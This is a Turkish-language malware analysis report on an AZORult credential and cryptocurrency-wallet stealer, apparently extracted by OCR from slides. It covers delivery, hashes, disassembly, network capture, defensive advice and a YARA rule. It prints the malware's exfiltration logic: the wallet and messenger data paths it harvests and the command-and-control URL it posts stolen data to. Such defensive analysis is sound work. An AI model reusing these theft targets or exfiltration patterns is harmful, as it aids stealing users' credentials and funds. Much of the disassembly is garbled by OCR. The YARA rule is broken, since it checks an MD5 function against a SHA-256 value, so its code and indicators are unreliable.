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Giris
AZORult ailesi, gesitli hassas bilgileri toplamak icin tasarlanmis yiksek riskli truva ati tipi bir

virtstir. Arastirmalar, siber suglularin spam e-posta kampanyalari kullanarak bu kot amaglh
yazilimi gogalttigini gosteriyor.

E-postalar genellikle kullanicilari ekli dosyalari agmaya kandirmak igin aldatici metinler igerir
(6rnegin, MS Office formatinda teslim edilen sahte is basvuru formlari). Bu ekler agildiginda,
AZORult'u sisteme sizan bir dizi komut ylritir. AZORult'un eski siriimleri Ramnit, Seamless
ve diger araci yukleyiciler kullanilarak dagitildi.

Spam e-posta kampanyalari basit bir dolandiricilik modeli kullanir. Siber suclular, kullanicilari
ekli dosyalari agmaya tesvik eden cesitli mesajlar iletir. Ayrica, yasal sirketlerin veya devlet
kurumlarinin ¢alisanlari olduklarini iddia etmeleri muhtemeldir. Sirketlerin/kurumlarin adlarini
ekleyerek stirekli olarak cesitli alan adlarini ve e-posta adreslerini kaydederler. Bunu yaparken,
mesruiyet izlenimi vermeye calisirlar, tanidik isimlerden gelen mesajlara inanmalari igin
kandirmak cok daha kolaydir. Ancak yukarida bahsedildigi gibi, acilan ekler gizlice truva ati tipi
virtsleri indirir ve kurar. AZORult'un ana amaclarindan biri hassas verileri toplamaktir.

AZORult, web tarayicilarini ele gegirme ve cerezler, oturum agmalar/sifreler, tarama gecmisi
vb. dahil olmak Uzere gesitli kaydedilen/girilen verileri kaydetme yetenegine sahiptir.
Arastirmalar, siber suglularin en ¢ok kripto para clizdanlari, e-posta hesaplari, FTP hesaplari
ve XMPP istemcilerinin oturum agma/sifreleriyle ilgilendigini gésteriyor. Bu truva ati,
kurbanlarin masaustlerinde depolanan verileri elde etmek icin de yapilandirilabilir. Daha yeni
AZORult stirimleri, ekran gorintisi alma, Jabber sohbet gecmisinden/gtinliklerinden, Skype
ve diger benzer hizmetlerden veri toplama gibi ek 6zelliklerle uygulandi. Bu bilgiler son
derece hassastir ve siber suglular bunu gelir elde etmek icin kullanir. Bu nedenle, AZORult
truva atinin varligi ciddi gizlilik sorunlarina ve 6nemli mali kayiplara yol agabilir. Yakin
zamanda supheli e-posta eklerini actiysaniz veya Windows Goérev Yoneticisi'nde "sAMsUNg"
islemini gordiyseniz, bilgisayariniza AZORult k6t amagli yazilim bulasmis olma olasiligi
yiksektir. Oyleyse, sistemi derhal mesru bir virtisten koruma/casus yaziimdan koruma
paketi ile taramali ve algilanan tiim tehditleri ortadan kaldirmalisiniz




pe
Y

Dosya
Ad1

On inceleme

54WzC1llfvB.exe

Dosya
Tiirii

Portable Executable 32

MD5

BFBEF487CDCD49624AEB31F540583705

SHA-1

3D551BBE7905DFBED24B7EDSB1F83066A4346051

SHA-256

FEE6695CA5D71D64A5CEBF169E25BF17D16D12E57AEFEO090C66DCCOC550AF480

Zararhinin MD5, SHA-1 ve SHA-256 bilgileri asagidaki tabloda
yer almaktadir. Analiz yaparken kolay anlasilmasi icin ismi
“al.exe” olarak degistirilmistir.
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STATIK ANALIZ

-

Detect It Easy v3.01

Dosya adi
C:/Users; 'Desktop/Al.exe

Dosya tipi Entry point Temel adres

PE32 D041aifs Disasm
| gin Comaior | e | s

Segimler TimeDateStamp SizeOfImage
0005 1992-06-20 01:22:17 00020000

Tarama Endianness

Detect It Easy(DiE) LE

compiler Borland Delphi(2-3)[-]
linker Turbo Linker(2.25% Delphi)[GUI32]

D Derin tarama
Log Kayit 153 msec

DIE toolunda incelendiginde zararli yazilimin compiler olarak
“Borland Delphi” kullanilarak derlendigi bilgisine ulasilir.
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DINAMIK ANALIZ

Kernelbase.dll

Advapi32.dll | Cryptbase.dll | Gdi32.dIl | Imm32.dll

Lpk.dI|

Msctf.dll Msvcrt.dll Ntdll.dll | Ole32.dll

Oleaut32.dll

Rpcrt4.dll Sechost.dll | Sspicli.dll | User32.dll

Usp10.dll

Zararli yazilima dinamik olarak yiklenen DLL’ler tabloda

gosterilmistir.

Kriptografi

53 push ebx ebx: &L SOFTWARE\ \MTcrosof t\\Cryptography
56 push esi
89C3 mov ebx,eax ebx : &L "SOFTWARE"\Microsoft\\Cryptography"
B9D6 mov esi,edx
B8B03 mov eax,dword ptr ds:[ebx] [ebx] :L"SOFTWARE"\Microsoft\\Cryptography”
85C0 TesT eax,eax

v| 74 0C je al.403coc
C703 00000000 mov dword ptr ds:[ebx],C [ebx] :L"SOFTWARE"\M1icrosoft' \Cryptography"
50 push eax
E8 4CDSFFFF call <IMP.&SysFreestring>
83C3 04 add ebx,4 ebx: &L "SOFTWARE"\\Microsoft\\Cryptography"
4E dec esi

~L75 EB jne al,d4038FaA |
SE pop esi
5B pop ebx ebx : & "SOFTWARE"\Microsoft\\Cryptography"
3 ret
8040 00 Tea eax,dword ptr ds:[eax]
B5D2 Test edx,edx

- OF84 BCFFEFFF
8B4A FC

je al.403BDC
mov ecx,dword ptr ds:[edx-4]

D1ES shr ecx,l
~ QFB4 BL1FFFFFF je al.403BDC
51 push ecx
52 push edx
50 push eax
8 _AnnSrres = kY

L

A Berirnadallaceredmal Ame

Zararh yazilim Microsoft’a ait Gelismis Sifreleme Saglayicisini

kullanir.

y
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8B45 FC

E8 BBCBFEFF
8B55 FC
8812
8A5432 FF
8B4D FB
8A4C19 FF
32p1
885430 FF
43

3B5D F4

7E 05

EE 01000000
46

aF
75 D3
33c0

64:8910

68 7264100

D45 F8
E8 7ACGFEFF
c3

E9 10C1FEFF
FO

mov eax,dword ptr 55 :[Jebp-4]

€all al.4039e8

mov edx,dword ptr ss:[lebp-4]

mov edx,dwurd ptr ds:[edx]

mov dl,byte ptr ds:[edx+esi-1]

mov ecx,dword ptr ss:[lebp-&]

mov cT,b{te ptr ds:[ecx+ebx-1]

xor

mov bgte ptr ds:[eax+esi-1],d]

inc

cmp ebx,dword ptr ss:|lebp-C]]

jle al.416E51

mov ebx,1

inc esi

dec edi

jne al.416e28

Xor eax,eax

pop edx

pop ecx

pop ec

mov dwurd ptr - [eax],edx
al. 416l

qea eax, dword ptr ss:febp-8]

€all al.4034E4

ret

jmp al.402F80

Jmp al.416E62

pop edi

pop esi

pop ebx

mov esp,ebp

pop ebp

lea eax,dword ptr ds:[eax]
push ebp

mrvs shn acn

mn

73300awindows 7 ProfessionalzorrowIN-L1KDN79P8
3300awindows 7 ProfessionalzorrowIN-L1KDN79P8

edx:"
edx+esi*1-1:

73300awindows 7 ProfessionalzorroWIN-L1KDN79PE

edx:"4573300awindows 7 ProfessionalzorrowIN-L1KDN79PB

Zararli yazilim bulastigi makinenin Windows versiyonunu,
kullanici adini ve Windows striim bilgilerini aliyor.

API Obfuscation

1l

53 push ebx M
8808 mov ebx, eax
33c0 Xor eax,ea:
A3 90B04100 mov dwur‘d ptr‘ ds:[41B090] , eax
6A 00 push 0
E8 D7FFFFFF call <JMF.&3etModu'|eHand'\eA>
A3 54C64100 mov dword ptr ds:[41C654],eax
Al 54 mov eax,dword ptr ds:[41C654]
A3 9BB04100 mov dword ptr ds:[41B098],eax
xor eax,eax
A3 9cB04100 mov dword ptr ds:[41B09C],eax
XOr eax,eax
A3 ADB04100 mov_dword ptr ds:[41B0A0] ,eax
E8 CIFFFFFF €all al.404p50
BA 94B04100 mov edx,a —LEOyi edx:entryPoint
8BC3 mov_eax, el
E& OlESFFFF Ealm at. 40329(
5B pop ebx
3 ret
8040 00 Tea eax,dword ptr ds:[eax]
55 push eb|
8BEC mov ebp,esp
33(0 Xor eax,eax
push eb|
GB (54D4000 push al.404DC5
push dword ptr [§: [eax]
64 8920 mov dword ptr [l:[eax],esp
FFO5 5B8C64100 inc dword ptr ds:[41C658]
33¢0 Xor eax,eax
5A pop edx edx:entryPoint
59 pop ecx
59 pop e
64:8910 mov. dword ptr‘ - [eax],edx edx:entryPoint
68 CC4Dp4000 push al.404
3 ret -
. £a meciccec Smn 31 Andesn

<IMP. &GetModuTeHand TeA>

CODE :00404D68 al.exe:$4D68 #4168

Zararh yazillm GetModuleHandleA API ile bir modulin
handle’ini aldigl gbzlemlenmistir. Boylelikle APl Obfuscation
teknigi ile statik analizi daha zorlu hale getirmek
amaclanmistir. DLL’leri runtime aninda ¢o6zimledigi gibi,
API’lari da runtime aninda ¢6ziimlemektedir.
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Runtime aninda ¢6ziimledigi API’ler asagidaki tabloda

4

66:8605 CEB04100

66:8945 FD
8D45 F4

50

64 00

64 00

6A 00

6a 00

eA 00

6A 00

Al 74824100
8600

FFDO

83F8 01
1BCO

40

8B45 FF
81FB C2B14E00
75 2C

BD45 F4

50

6a 00

6a 00

A NN

gosterilmistir.
RaiseException RtlUnwind

55 push ebp
BBEC mov ebp,esp
83Cc4 FO add esE,FFFFFFFO
53 push ebx
8EDS mov ebx,eax
8605 C4B04100 mov eax,dword ptr ds:[41B0C4]
8945 FO mov dword ptr ss:|lebp-70,eax

mov ax,word ptr ds:[41B0CE]
mov word ptr ss:|lebp-3[,ax
Tea eax,dword ptr ss:[[ebp-C
push eax

push 0

push 0

push 0

push 0

push 0

push 0

push ebx

push 20

ush 2

ea eax,dword ptr ss:[febp-7]
push eax

mov eax,dword ptr ds:[41B274]
mov eax,dword ptr ds:[eax]
call eax

cmp eax,l

shb eax,eax

inc eax

mov byte ptr ss:[ebp-1[,al
cmp ebx,4EB1C2

jne al.407CEO

ea eax,dword ptr ss:|[ebp-C[]
push eax

push 0

push 0

rnsh N

(L

eax=0018FCC1l

CODE : 00407C6A al.exe:$7C6a #706A

dword ptr [al.0041B274]=<al.&allocateandInitializesid>

Zararli yazilim AllocateAndinitilializeSid fonksiyonunu
kullanarak SID'de ayarlanacak en Ust diizey tanimlayici yetki
degerini saglar.
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FFDO call eax
8045 FO lea eax,dword ptr ss:|lebp-10]
50 qush eax
8D85 ECFDFFFF ea eax,dword ptr ss:[lebp-214]
50 ush eax
8D45 F4 ea eax,dword ptr ss:[lebp-Cll
50 push eax
64 00 push 0
8B45 FB mov_eax,dword ptr ss:|[lebp-£] [ebp-8] :L"MachineGuid"
E8 B5SCEFFFF call al.403Dp98
50 push eax
8645 EC mov eax,dword ptr ss:[lebp-14]
push eax
Al 98834100 mov eax,dword ptr ds:[418398]
8B00 mov eax,dword ptr ds:[eax]
FFDO Eall eax
8B45 08 mov eax,dword ptr ss:|[febp+8]
8D95 ECFDFFFF lea edx,dword ptr ss:[ebp-214]
B9 00010000 mov ecx,100
E8 68CEFFFF €all al.403D6C
33en . lunn anw oaae
Il I
eax=<advapi3Z.RegopenKeyExw> (774745BD)
CODE:00406ECS al.exe:J$6ECE #62C8

RegOpenKey fonksiyonu ile kayit defteri anahtarini
acar. RegQueryValueExW acik olan kayit defteri
degerleri igin tur ve verileri almaktadir.

53 push ebx
81C4 F8FDFFFF add esp,FFFFFDF8
8BD! mov ebx,eax
C74424 04 0001000{mov dword ptr ss:[fesp+4[,100 [esp+4] :L"soFTWARE" \M1crosofti\\windows NT\\Currentversion"
8BC3 mov eax,ebx
BA 706C4000 mov_ edx,al.406ec70
EE Z3DOFFFF call al.403c18
6a 00 ush 0
804424 04 ea eax,dword ptr ss:[lesp+4] [esp+4] :L"sOFTWARE" \M1crosoft\\windows NT\\Currentversion"
50 push eax
64 00 push 0
68 19000200 push 20019
eA 00 push 0
6a 00 push 0
64 00 push 0
68 746C4000 push al.406c74 406C74 :L"SOFTWARE\\Microsoft\Windows NT\\Currentversion"
68 02000080 push 80000002
| Al 94814100 mov eax,dword ptr ds:[41B8194]
8800 mov eax,dword ptr ds:[eax]
FFDO Eall eax
85C0 test eax,eax
~ 75 42 jne al.406C62
8p4424 04 ea eax,dword ptr ss:[lesp+4[] [esp+4] :L"SOFTWARE\\Microsoft\\Windows NT\\Currentversion"
50 ush eax
8p4424 0OC ea eax,dword ptr ss:fesp+cC]
cn e aoa
] [T

eax=0018FAGC
dword ptr [al.00418194]=<al.&RegCreatekKeyExn>

CODE:00406C13 al.exe:$6C13 #6013

RegCreateKeyEXxA fonksiyonunu kullanarak

"HKEY_ CURRENT_USER\SOFTWARE\Microsoft\Win
dows NT\W\CurrentVersion" kayit defterine gesitli bilgiler
yazdigi gorulmektedir.

y



68 DO6C4000 push al.406cD0 406CD0:L"ProductName”
884424 14 mov eax,dword ptr ss:lesp+14]]
50 push eax
Al 98834100 mov eax,dword ptr ds:[41B398]
8600 mov_eax,dword ptr ds:[eax]
FFDO €all eax
B5C0 Test eax,eax
~ 75 10 jne al.406C55
8BC3 mov eax,ebx ebx:& "windows 7 Professional”
8D5424 08 lea edx,dword ptr ss:[esp+&[]
B9 00010000 mov ecx,100
EB 17DLFFFF call al.403D6C
880424 mov eax,dword ptr ss:fespl
50 push eax
Al FCE14100 mov eax,dword ptr ds:[41B1FC]
8EB00 mov_ eax,dword ptr ds:[eax]
FFDO call eax
&1c4 0B020000 add esp, 208
58 pop ebx ebx:&L"windows 7 professional”
c3 ret
0000 add bXte ptr ds:[eax],al
0200 add al,byte ptr ds:[eax]
0000 add byte ptr ds:[eax],al
3F aas
0000 add byte ptr ds:[eax],al
NANEY NN . add khimra nre de s Takhwl A1 abhw e 2 "wd ndoiie 7T nerafaccdanal’™

4 {11}

eax=<advapi3Z2.RegCloseKey> (774745CD)

Kayit defterinden bilgisayarda kurulu olan igletim sistemi
bilgisini, kullanici adini ve diger gesitli bilgileri aliyor.

B8B95 CCFEFFFF mov edx,dword ptr ss:[ebp-134] [ebp-134]:"14459D0-2343A2EC-627COADB-CCBI10EB-DCAB4ESAL"
58 pop eax
E& SEBOFEFF call al.403798
BBB5 DOFEFFFF mov eax,dword ptr ss:[lebp-130] [ebp-1307 :"U14459D0-2343A2EC-627COADE-CC8910EB-DCAS4E4AL "™
E8 4BB2FEFF call al.403990
50 push eax
6A 00 push 0
64 00 push 0
Al 9CB34100 mov eax,dword ptr ds:[41839C]
8BOOD mov_eax,dword ptr ds:[eax]
I FFDO call eax
8945 94 mov dword ptr ssi|lebp-6C],eax
Al 2€B14100 mov eax,dword ptr ds:[41B12C]
880D mov eax,dword ptr ds:[eax]
FFDO Eall eax
3D B7000000 cmp eax,B7
~ 0OFB4 F20EQ000 je al.41965C
8D45 F4 ea eax,dword ptr ss:[febp-C]
BA 88984100 mov_edx,al.419888 edx:"14459D0-2343A2EC-627C6AD8-CC8910EB-DCABIE4AL ™
E8 OSAEFEFF €all al.40357C
8p45 F4 lea eax,dword ptr ss:[ebp-C]
B9 00000800 mov ecx, 80000
BA 28994100 mov_edx,al.419928 edx:"14459D0-2343A2EC-627C6ADS-CCE910EB-DCABAE4AL ™
E& 4BEGFFFF call al.416DD4
8D95 CSFEFFFF Tea edx,dword ptr ss:[lebp-138[
coas 4 T == dmcwd nte cooohn B

4 LLLI

eax=<kernel32.CreateMutexA> (77034B6B)

CODE: 00418751 al.exe:$18751 #17B51

CreateMutexA fonksiyonunu kullanarak mutex
olusturdugu tespit edildi.




85C0

OF84 C4FEFFFF
SA

FF32

8302

E8 GED4FFFF
c3

20

31c9

74 2
66:3B84A 02
74 17

66:3B4A 04

test eax,eax

je ai.4038AC

pop edx

push dword ptr d
mov_dword ptr >
call <ime. &SysFreeStrmg>
ret

Xor ecx,ecx
test edx,edx
J& a1.403018

push edx

cmp c1,byte ptr ds:[edx]
je al 403016

cmp cl,byte ptr ds:[edx+1]
je ai.40301s5

cmp cl,byte ptr ds:[edx+2]
je al 403014

cmp ,byte ptr ds: [edx+3]
je ax 403013

add edx,
jmp a1. JOSCFB
edx

X o edx
jmp a1.403C44
eax,dword ptr ds:[eax]

ad

cmp nord ptr ds

je 31.4030 o

cmp cx,word ptr ¢

je ai.40304D

cmp cx,word ptr ds:[edx+4
m

Zararl yazilim uzak sunucu ile baglanti kurarak elde
ettigi bilgileri gonderdigi tespit edilmistir. Uzak sunucu
kapali oldugu icin surekli baglanti denemesi yapiyor.

8076 28 01 cmp byte ptr ds:[ebx+28],1
- 75 03 jne al.40348C
FF53 24 call dword ptr ds:[ebx+24]
8078 28 00 cmp byte ptr ds:[ebx+28],0
«~ 74 05 je al.403497
E8 ALFEFFFF c€all al.403338
8338 00 cmp dword ptr ds:[ebx],0
« 75 17 jne al.4034B
833D 18c04100 00 |cmp dword ptr ds:[41c018],0
- 74 06 je al.4034aB
FF15 18C04100 call dword ptr ds:[41C018]
BB06 mov eax,dword ptr ds:[esi]
50 push eax
I EE 2DDCFFFF call <IMP.&ExitProcess>
8803 mov eax,dword ptr ds:[ebx]
56 push esi
BBFO mov esi,eax
8BFB mov edi,ebx
B9 0B000000 mov ecx,B B:'
F3:A5 rep movsd
5E pop esi
~ E9 76FFFEFF jmp al.40343p
5D pop ebp
5F pop edi
SE pop esi

co nan nboe

< 1
<JMP.&EXitProcess>

CODE :004034AE al.exe:$34AE #28AE

ExitProcess fonksiyonu baglanti kurulamadigi igin
zararh yazilimi sonlandiriyor. Bu asamadan sonrasini
zararl yazilimin analizini agag¢ yapisini inceleyerek
devam edilecektir.

y



al.00418978

mov eax,al.4199C8
call al.414DESB
push 0

push 7D0

push 1

push 0

push 0

mov ecx,al.4199D8
mov edx,al.4199FC
mov eax,al.419a04
call al.413F58
mov edx,dword ptr

add dword ptr ds:[edx],eax ; edx:

push 0

push 7D0

push 1

push 0

push 0

mov ecx,al.419a40
mov edx,al.4199FC
mov eax,al.419a6C
call al.413F58
mov edx,dword ptr

add dword ptr ds:[edx],eax ; edx:"http:

push 0

push 1388

push 1

push 0

push 0

mov ecx,al.419aB0

mov edx,al.419AD4 ;

mov eax,al.419ag4d
call al.413F58

mov edx,dword ptr ds:[41B2c4] ; edx:"http:
add dword ptr ds:[edx],eax ; edx:"http:

push 0

push 1388

push 1

push 0

push 0

mov ecx,al.419824
mov edx,al.419844
mov eax,al.419864
call al.413F58
test eax,eax

jle al.418aA2cC

; 4199C8:L"Coins”

; 4199D8:L"Coins'MElectrum”
; edx:"http://46.183.221.10/roth/Panel/index. php"
; 419404 ;L "¥appdata®\\Electrum’’\walletsi\"

ds:[41B2C4] ; edx:"http://46.183.221.10/roth/Panel 1ndex.php“
"http://46.183.221.10/roth/Panel/index. php"

7 419A40:L"Coins'\MNElectrum-LTC"
; edx:"hrrp://46.183.221.10/roth/Panel/index. php”
; 419A6C:L "%appdata®\\Electrum-LTC\\walletsi\"

ds:[41B2C4] ; edx:"http://46.183.221.10/roth/Panel 1ndex.php“
46.183.221.10/roth/Panel/index. php™

; 419a80:L"Coins\\Ethereum"
edx:"http:
3 419AE4 1L "%APPDATAS \EThereum'\ keystore

46,183.221.10/roth/Panel /index. php"

46.183.221.10/roth/Panel/index. php"

; 419824 :L"Coins\\Exodus™
;o oedx:"http:

; 419864 : L "HAPPDATA \Exodus

Enjekte oldugu bilgisayarda bulunan kripto para ctizdanlarinin
(soguk clizdanlar) taramasini yapiyor ve bilgilerini tariyor.
Amaci kullanicinin cizdan bilgilerini calmak.

46.183.221.10/roth/Panel/index. php™, 419aAD4:L"UTC*"

46.183.221.10/roth/Panel/index. php", 419B44:L."%.json,*.seco”




inc dword ptr ds:[eax] I

3

al.00418A2C
push 0
push 1388
push 1

ge\\"
46. L:ﬂ 221.10 rDth P;ne'\ index. php"

mov_eax,al.419sc4 - S\ \Jaxx\\Local storagei\”

€all al.413F58

Test eax,eax

jle al.418A58

al.00418a51
mov eax,dword ptr ds:[4182c4]
inc dword ptr ds:[eax]

|

al.00418458
push 0
push 1388
push 1
push 0
push 0
mov ecx, '1
mov edx,
mov_eax,
call a1. 413FSE
Test eax,eax
jle ai. 218A84

H 413\04 L 'coins\\MultiBITHD"
i edx:"http://46.183.221. 10/roth/panel/index. php”, 413C2C:L"mbhd.wallet. aes,mbhd. checkpoints,mbhd. spvchain, mbhd. yam1”
; 419CA4 :L"%APPDATA%\\MultiBitHD

4

al.00418A7D
mov eax,dword ptr ds:[41B2C4]
inc dword ptr ds:[eax]

vl
al.00418a84
mov eax,dword ptr ds:[41B2C4]
cmp dwor’d ptr‘ ds:[eax],0

Tarama yapip elde ettigi bilgileri baglanti kurdugu ip
adresinden gonderiyor. Eger bilgi bulamadiysa yeni listeden
taramaya devam ediyor.

¥
al.00418aA4
mov_eax,al.419CEQ ; 419CEQ:L"skype”

gall al.414808
3
al.00418AAE
mov eax,dword ptr ss:[ebp-2C]]
mov eax,dword ptr ds: Loaxsebxra]

cmp byv.e ptr ds:[eax+53],2B ; 2B:'+
jne al.41BADE
!

al.00418ABA
push 0
push 3e8
push 1
push 0

419CFO:L"Telegram
edx: \ttp 48.183.221,10/roth/Panel/index.php”, 419D08:L"D877F783D5*,map*"
419D30:L "%appdata%\\Telegram Desktop\\tdata

3
al.00418ADB
mov eax,dword ptr ss:Jebp-2C]]
mov eax,dword ptr ds: [eax ebx"4]
cmp byv;e ptr_ds:[eax+6], 2B: '+
jne al.41BAF1
'l
al. DOJLnAE
mov_ eax,a 19p78 ; 419D78:L"steam”
gan ai. 414A90
1l
al.00418AF1
mov eax,dword ptr ss:[Jebp-2C]]
mov eax,dword ptr ds: [ie;x ebx .x] )

cmp by[e ptr ds:[eax
jne ai. $1860e

mov_eax,
call al. 41

Zararh yazilim, Steam, Skype, Telegram gibi uygulamalardan
bilgiler topluyor. Amaci bu uygulamalarin bilgilerini alarak
oturum bilgilerini uzak sunucuya gondermek oldugu tespit
edilmistir.
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!

al.00418F06

les ecxduord pur <2febn 0]

mov eax,dword ptr ss:[ebp-

v oo chword ber G2 feniiabu-4] ; edu:"hrep://46.183.221, 10/roth/rane] /index. php"
mov_eax,al.419D.:

call al.407A18

mov eax,dword per ss :febp-30l

mov eax dvard pur ds; [ear

mov_edx.al.419E20 ; edx: htip://46.183.221.10/roth/Panel/index. php”
call al.40380C

jne al.418F9D

T
{ 3
al.00418F9D al.00418F2B
mov eax,dword ptr ss:febp-30] mov byte ptr ss:febp-51],
mov eax.dword ptr ds:[eax:4] Tea eax,dword ptr s5: [ehpru
mov_edx,al.410E0C ; edx:"http://46.183.221.10/roth/Panel/index.php”, 419£9¢:"ip.txt” push eax
call al.40e6D4 mov ecx,al.419
Bl 3.221.10/roth/Panel /index. php”

p://1p-api. com/json
call all417p84
Tea eax,dvord per 55:febp-4cl)
push e
hov ecx.a1
mevfciekimordl ptr ss:[ebp il
eax,al. -Ld E64: "\ "query\":\""
€all al.4074€:
Tea eax, dword per 5s:Hebp-500

v
|

-1
T9e78: "\ "countrycode\":\""

83.221.10/roth/Panel/index. php”

<of
d: " »ch 46.183.221.10/roth/Panel/index. php", 419g0c:"ip. txt”

al.00418FB5
push dword ptr :5.[ebp 43
qush al.419988 ; 419988:"\r\n"
ea eax,dword ptr ss:[lebp-1c8]
call al.41698C
?ush dword ptr ss [ebp 1c8j)
ea eax,dword ptr ss [ebp lC~]

mov edx,4 ; edx: http .183.221.10/roth/Panel/index. php"
call al.403850
mov eax,dword ptr ss:[ebp-1c4]

mov edx,al.419eAC ; edx:'http://46.183.221.10/roth/Panel/index.php", 419EAC:"System. txt"
call al.40e6D4

lea eax,dword ptr ss:[ebp-1D0]

call al.406CES8

mov eax,dword ptr ss:|[[ebp lCH]

Tea edx,dword ptr ss:[ebp-1c

call al.406834

nuuch Auard ner cecdBabhn 10

Uzak sunucudan baglanti kurulduktan sonra “System.txt”
“ip.txt” dosyalarini okuyarak cihazda, txt dosyasi icerisindeki
bilgileri okuyarak cihazdan bilgileri alip, uzak sunucuya
gondermek amacinda oldugu gorilmektedir.
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No. Time Source Destination Protocol  Length Info
19 6.267516 10.7.0.21 10.7.9.255 NBNS 92 Name query NB WPAD<@O>
20 7.444287 10.7.0.21 46.183.221.10 TCP 66 60658 » 88 [SYN] Seq=8 Win=8192 Len=0 MSS=1460 WS=256 SACK PERM=1
21 7.481656 46.183.221.10 10.7.0.21 TCP 66 80 + 60658 [SYN, ACK] Seq=0 Ack=1 Win=8192 Len=0 MSS=1460 WS=256 SACK_PERM=1
22 7.482116 10.7.0.21 46.183.221.10 TCP 60 60658 > 80 [ACK] Seg=1 Ack=1 Win=65536 Len=0
23 7.492552 10.7.0.21 46.183.221.10 HTTP 332 POST /roth/Panel/index.php HTTP/1.1
24 7.577853 46.183.221.10 10.7.9.21 TCP 54 80 > 60658 [ACK] Seq=1 Ack=279 Win=131328 Len=0
25 7.991572 46.183.221.10 10.7.9.21 TCP 1514 89 > 60658 [ACK] Seq=1 Ack=279 Win=131328 Len=146@ [TCP segment of a reassembled PDU

>
26 7.991621 46.183.221.10 10.7.9.21 TCP 1514 89 > 60658 [ACK] Seq=1461 Ack=279 Win=131328 Len=1460 [TCP segment of a reassembled PDU
27 7.991623 46.183.221.10 10.7.9.21 TCP 1514 88 » 60658 [ACK] Seq=2921 Ack=279 Win=131328 Len=146@ [TCP segment of a reassembled PDU
28 7.991625 46.183.221.10 10.7.9.21 TCP 1514 89 » 60658 [ACK] Seq=4381 Ack=279 Win=131328 Len=1460 [TCP segment of a reassembled PDU

© POST /roth/Panel/index.php HTTP/1.1\r\n
User-Agent: Mozilla/4.@ (compatible; MSIE 6.0b; Windows NT 5.1)\r\n
Host: 46.183.221.10\r\n
Content-Length: 107\r\n
Cache-Control: no-cache\r\n
\r\n
[Full request URT: http://46.183.221.10/roth/Panel/index.php]
[HTTP request 1/3]
Next request in frame: 5066
File Data: 107 bytes
> Data (107 bytes)

Wireshark ile yapilan ag dinlemesi sonucu elde edilen .pcap
dosyasinda http://46[.]1183[.]1221[.]10/roth/Panel/index[.]php
adresine baglanti istegi attig1 gorulmektedir.



http://46[.]183[.]221[.]10/roth/Panel/index%5b.%5dphp
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Korunma Yontemleri

Guncel anti virts yazilimlari kullanilmahdir.

isletim sistemi giincel tutulmalidir.

Dosya ve yazici paylasim hizmetleri devre disi
birakilmalidir. Bu hizmetler gerekliyse, glcli parolalar
veya Active Directory kimlik dogrulamasi kullaniimalidir.
Cok faktorlu kimlik dogrulama kullaniimahidir.
Kullanicilarin istenmeyen yazilim uygulamalarini yikleme
ve ¢alistirma izinleri kisitlanmalidir.

Guclu parolalar kullaniilmahdir.

Ajans is istasyonlarinda ve sunucularinda gereksiz
hizmetler devre disi birakilmalidir.

Supheli e-posta ekleri taranmali veya kaldirilmalidir.
Cikarilabilir medya (6rn. USB flash siriciler, harici
siridculer vs.) kullanirken dikkatli olunmalidir.

Spam mailleri dikkate alinmamalidir.
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54WzC1IlfvB.exe Yara Kurali

import "hash"
rule AZORult
{

meta:

author = "N1ghtSt4lk3r"
description = "AZORult"
first_date ="01.07.2021"
report_date ="01.08.2021"
file_name = "54WzC1IfvB.exe "
strings:

Ss1 ="DV8CF101-053A-4498-98VA-EAB3719A088W-VFOA8B7AD-0FAO-B4RD-
D80006738DQCD"

Ss2 = "DO074FFD-570F-4A9B-8D69-199FDBA5723B"
Ss3="1d1h1l1p1tix1|1"
condition:

hash.md5(0, filesize) ==
"fee6695ca5d71d64a5cebf169e25bf17d16d12e57aefe090c66dcc0c550af480" or all

of

them
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